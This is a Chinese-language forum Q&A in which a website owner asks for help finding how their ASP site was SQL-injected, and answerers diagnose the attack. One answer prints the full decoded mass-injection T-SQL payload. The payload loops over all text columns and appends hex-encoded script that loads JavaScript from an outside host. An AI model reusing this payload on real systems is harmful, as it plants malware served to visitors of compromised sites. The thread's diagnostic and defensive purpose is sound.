又被注入了，能帮我找一下注入点吗？

Question

另：我的日志下载是：http://ywtd.zhyww.cn/download/ex080531.log注入是在我已经加上了　SQL通用防注入系统 3.1最终纪念版 　后发生的

Answer 1

你把上面的字符串urldecode一下，然后再统一替换小写一下，就可以知道具体的注入的sql语句了，然后对症下药就ok了。

Answer 2

例如
针对你这个具体的问题act/forum/showtopic.asp page=1你这个asp里，好好验证下参数，比如request("page")如果不是数字就提示错误。

Answer 3

更正一下，
应该是：例如 
针对你这个具体的问题 showtopic.asp page=1&topic_id=28970&forum_id=6';dEcLaRe%。。你这个asp里，好好验证下参数，比如request("forum_id")如果不是数字就提示错误。 

Answer 4

解析后的代码为:dEcLaRe @t vArChAr(255),@c vArChAr(255) 
dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b 
wHeRe a.iD=b.iD AnD a.xTyPe='u'
 AnD (b.xTyPe=99 
oR b.xTyPe=35 
oR b.xTyPe=231 
oR b.xTyPe=167) 
oPeN tAbLe_cursoR 
fEtCh next 
FrOm tAbLe_cursoR iNtO @t,@c 
while(@@fEtCh_status=0) bEgIn 
exec('UpDaTe ['+@t+'] 
sEt ['+@c+']=['+@c+']+
cAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F312E636F6F6C302E62697A2F312E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67))') 
fEtCh next
FrOm tAbLe_cursoR 
iNtO @t,@c 
eNd cLoSe tAbLe_cursoR 
dEAlLoCaTe tAbLe_cursoR;你拷贝到查询分析器看一下,并把cAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F312E636F6F6C302E62697A2F312E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67))') 这段代码PRINT出来后,发现上面是一段JS代码.